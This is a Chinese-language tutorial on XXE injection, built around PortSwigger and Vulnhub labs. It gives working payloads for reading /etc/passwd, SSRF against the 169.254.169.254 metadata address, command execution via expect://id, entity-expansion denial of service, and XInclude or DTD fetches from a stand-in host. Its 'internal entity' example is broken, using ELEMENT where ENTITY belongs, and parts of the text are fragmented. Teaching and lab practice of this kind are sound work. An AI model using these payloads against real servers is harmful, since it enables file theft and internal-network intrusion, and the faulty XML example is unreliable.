5
社区成员




XXE漏洞,就是外部传入XML代码。 XXE英文全称XML External Entity Injection,中文为XML外部实体注入,攻击利用的焦距点是XML的DTD实体,可以利用其内部声明或外部引用来构造攻击,从而实现读取文件、执行系统命令、探测端口等目的。
XML 指可扩展标记语言eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。 XML 的语法规范由 DTD (Document Type Definition)来进行控制。
XML 文档在开头有 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 的结构,这种结构被称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,但是必须放在文档开头。 除了可选的开头外,XML 语法主要有以下的特性:
另外,XML也有CDATA语法,用于处理有多个字符需要转义的情况。
XML
全称 可拓展标记语言,与HTML
相互配合后:
HMTL
用来显示数据
HTML
的焦点在于数据的外观(如何显示数据)
XML
用来传输和存储数据
XML
的焦点在于数据的内容(如何存储传输数据)
总结来说:HTML
提供了一个模板,XML
动态的改变模板中对应数据位置中的数据。
若要在HTML
文档中显示动态的数据,每当数据需要改变的时候需要大量的时间编辑HTML。
通过XML
将数据存储在独立的XML
文件中,每次需要更新数据时只需通过发出XMLHttpRequest
到服务端请求相应的数据(Ajax
)即可。
而HTML/CSS
只需专注于显示与布局即可,底层的数据从XML
文件中获取即可,这样修改底层的数据不会对HTML
的结构发生任何改变。
XML
不仅可以用于简化HTML
的数据传输于存储中,所有支持XML
格式的应用都可以从XML
文件中读取文件来使用。XML
提供了一种数据的格式标准,所有支持该标准的应用之间都可以用该格式在本地或网络中传输数据。XML
可自定义标签,XML
是没有预定义标签的。既然前面说了XML
是没有预定义标签的,也就是说无论想定义什么名字的标签都可以,这个标签有什么属性都可以,看似很自由,但在开发中显然是不合适的,而且在数据的传输过程中如果双方的XML
结构不同也会出现问题,所以需要一个东西来约束XML
的格式,也就是DTD
(文档类型定义)
所以通过DTD
有如下优势:
XML
文件均可携带一个有关其自身格式的描述,从而规范XML
的结构DTD
来交换数据DTD
来验证从外部接收到的或自身的数据一般有两种方式:
DOCTYPE
声明XXE
的关键!!)DTD
(文档类型定义)被包装在DOCTYPE
声明中 (无论外部还是内部)。
利用DOCTYPE
声明内部DTD
的格式为:
<!DOCTYPE root-element [element-declarations]>
root-element
文档类型(根元素)[element-declarations]
其余的元素都包含在[ ]
中
<!--xml声明-->
<?xml version="1.0" encoding="utf-8" ?>
<!--文档类型定义-->
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<!--文档元素-->
<note>
<to>XXE</to>
<from>LEARING</from>
<heading>hello</heading>
<body>My_friend</body>
</note>
<!DOCTYPE note [
规定该文档是 note 类型的文档 (根元素为<note>
)
对应<note> </note>
<!ELEMENT note (to,from,heading,body)>
定义note
中有四个元素,分别为:
<to> </to>
<from> </from>
<heading> </heading>
<body> </body>
<!ELEMENT to (#PCDATA)>
定义to
元素为#PCDATA
类型
其他的类似
#PCDATA
表示名字里面可以放任意文本 - 这不是我们关注的重点。
若DTD
位于XML
源文件的外部,则可以通过如下语法将其封装声明在DOCTYPE
中
<!DOCTYPE root-element SYSTEM "filename">
记得该语法,XXE
中会用到。
我们将这个外部的DTD
文件命名为note.dtd
:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
此时若是想在XML
文件中声明该DTD
约束,应声明为:
<!--xml声明-->
<?xml version="1.0" encoding="utf-8" ?>
<!-- 外部引入 dtd 文件 -->
<!DOCTYPE note SYSTEM "note.dtd">
<!--文档元素-->
<note>
<to>XXE</to>
<from>LEARING</from>
<heading>hello</heading>
<body>My_friend</body>
</note>
此时便会引入上述note.dtd
DTD
约束文件,
而这个引入的文件,就是该漏洞的关键之一。
实体是用于定义XML
文档中特殊字符的快捷方式,就类似于一个变量或一个宏(宏可能更好理解)。
在DTD
中声明实体,则称为内部实体
<!ENTITY entity-name "entity-value">
entity_name
是实体的名称,后跟双引号或单引号中的值entity_value
保存实体名称的值同样是上面的例子,还可以定义成这样:
<!--xml声明-->
<?xml version="1.0" encoding="utf-8" ?>
<!--文档类型定义-->
<!DOCTYPE note [
<!ELEMENT note (#PCDATA)>
<!ELEMENT to "XXE">
<!ELEMENT from "LEARING">
<!ELEMENT heading "hello">
<!ELEMENT body "my_friend">
]>
<!-- 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;) -->
<note>
&to;
&from;
&heading;
&body;
</note>
在上面的示例中,各个实体名称to
from
heading
body
由它们在声明中的值替换。 通过向实体名称添加前缀&
来取消引用实体值。
如果在DTD
之外声明实体,则称为外部实体。
<!ENTITY name SYSTEM "URI/URL">
name
实体的名称SYSTEM
关键字URI/URL
是双引号或单引号中包含的外部源的地址<!ENTITY writer SYSTEM "<http://www.shtwo.com/note.dtd>">
使用的方式与上述例子相同,只不过当前是从外部引入,可以是一个URL
链接中的文件,也可以是本地的文件(这也就造成了安全的风险)。
可以使用 系统标识符或 公共标识符来引用外部实体:
系统标识符
系统标识符可以指定包含DTD
声明的外部文件的位置:它包含关键字SYSTEM
和指向文档位置的URI
引用
<!DOCTYPE name SYSTEM "note.dtd" [...]>
是不是很熟悉
公共标识符
<!DOCTYPE name PUBLIC "-//Beginning XML//DTD Address Example//EN">
当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。
<!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;"> ]> &a2;
若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。
<?xml version="1.0"?> <!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> &file;
通过刚才的介绍,可以明显看出若允许外部文档的声明,那么若请求放的 XML 数据可以被我们控制,就可以在其中加入一个用于包含目标机器本地文件的一个外部文档声明,并回显回来。
但注意,对于有回显的XXE
要满足这样几个条件:
XML
传输数据的情况,且传输的数据我们可以控制;看了这些可能有点不太理解,下面以Vulnhub
打靶过程中,一个环节存在的XXE
漏洞为例:
当前访问到一个注册的页面,让输入个人信息并进行注册,所以我们打开Burp
提交数据进行抓包。
在抓到的 POST 请求包中,可以明显看出当前我们注册填写的信息就是通过 XML 形式提交的,所以满足了上面说的第一个条件:必须存在使用XML
传输数据的情况,且传输的数据我们可以控制。
且根据不断地尝试,发现无论email
处填写什么,都会有is not available
的提示,但仔细看,当提交的email
不同时,返回的错误提示信息中的邮箱也会变化,也就是说明我们在<email> </email>
中提交的数据会被原封不动的拼接到Sorry, xxxxx is not available!!
语句中xxxxx
的部分,并返回来,这也就满足了上述说的第二个条件:通过外部文档声明的外部实体要放在一个可以回显到当前页面中的位置,这样才能被看到。
所以此时就可以尝试XXE
了:
插入一个外部文档引用的声明,通过SYSTEM
读取一个外部的位于Linux
主机上的文件,并将引入的文档赋予deu
这个实体(这个名字随便起)
<!DOCTYPE foo [<!ENTITY deu SYSTEM 'file:////etc/passwd'>]>
并且要在<email> </email>
中引用该外部实体deu
<!DOCTYPE foo [<!ENTITY deu SYSTEM 'file:////etc/passwd'>]>
<email>
&deu;
</email>
这就完成了一个XML
外部实体注入 -XXE
什么?还不太理解,那再与XSS
对比来说一下XXE
的特征
再以 Burp 官网提供的第一个XXE
的题为例:
网址:https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files
流程一致,我们要找到可能存在数据交互的位置,这样才有存在 XXE 的可能,所以一上来先点 Home 试了以下,看看有没有登录的界面,发现并没有,于是随便点开一个商品View details
在其中看到了一个Check stock
好像是一个提交数据的位置,于是打开Burp
进行抓包。
果然是XML
数据的格式,这次也懒得在判断在哪个位置可以回显,直接扔进Repeater
在每一个XML
的标签中都放上我们声明的外部实体,果然会显出了/etc/passwd
XSS
判断的条件一般是:通过浏览器(表单/变量)提交一个数据到服务器端,服务器端没有做任何变化过滤,就直接将我们输入的数据原封不动的返回到页面中。
XSS
的攻击目标大多数是浏览器端
XXE
判断的条件一般是:和XSS
有些类似,也是通过浏览器(表单/变量)提交一个数据到服务器端,服务器端没有做任何变化过滤,就直接将我们要引用的服务器端的资源原封不动的返回到页面中。
XXE
攻击的对象是服务器端
<?xml version="1.0"?> <!DOCTYPE data SYSTEM "http://publicServer.com/" [ <!ELEMENT data (#ANY)> ]> 4
在刚刚基础中,介绍外部实体时,举了一个这样的例子:
<!ENTITY writer SYSTEM "<http://www.shtwo.com/note.dtd>">
不难发现,这后面明显包含的是一个URL
,所以若将这部分换为一个内网的IP
貌似也没问题喔,所以就有可能造成SSRF
及时我们不知道内网的IP
,若存在SSRF
也可以通过 在XXE
中附加可能的内网IP
对内网的资源进行一个探测。
网址:https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf
该靶场只能说非常的贴心啊 ... 连存在敏感信息的IP
都给我们了。
那就直接开始吧,首先还是要找存在XML
信息交互的位置,该题遇上一道的位置相同,所以就略过了,直接写入外部文档声明
<!DOCTYPE foo [<!ENTITY deu SYSTEM "<http://169.254.169.254>">]>
得到了一个目录,再继续向下遍历:
最终成功获得到敏感信息:
由于最难的一步找到要攻击目标这一步被直接告诉了,所以很简单就找到了敏感的信息
<?xml version="1.0"?> <!DOCTYPE GVI [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <catalog> <core id="test101"> <description>&xxe;</description> </core> </catalog>
<?xml version='1.0'?> <xi:include href="http://publicServer.com/file.xml"></xi:include>
PHP
中
libxml_disable_entity_loader(true);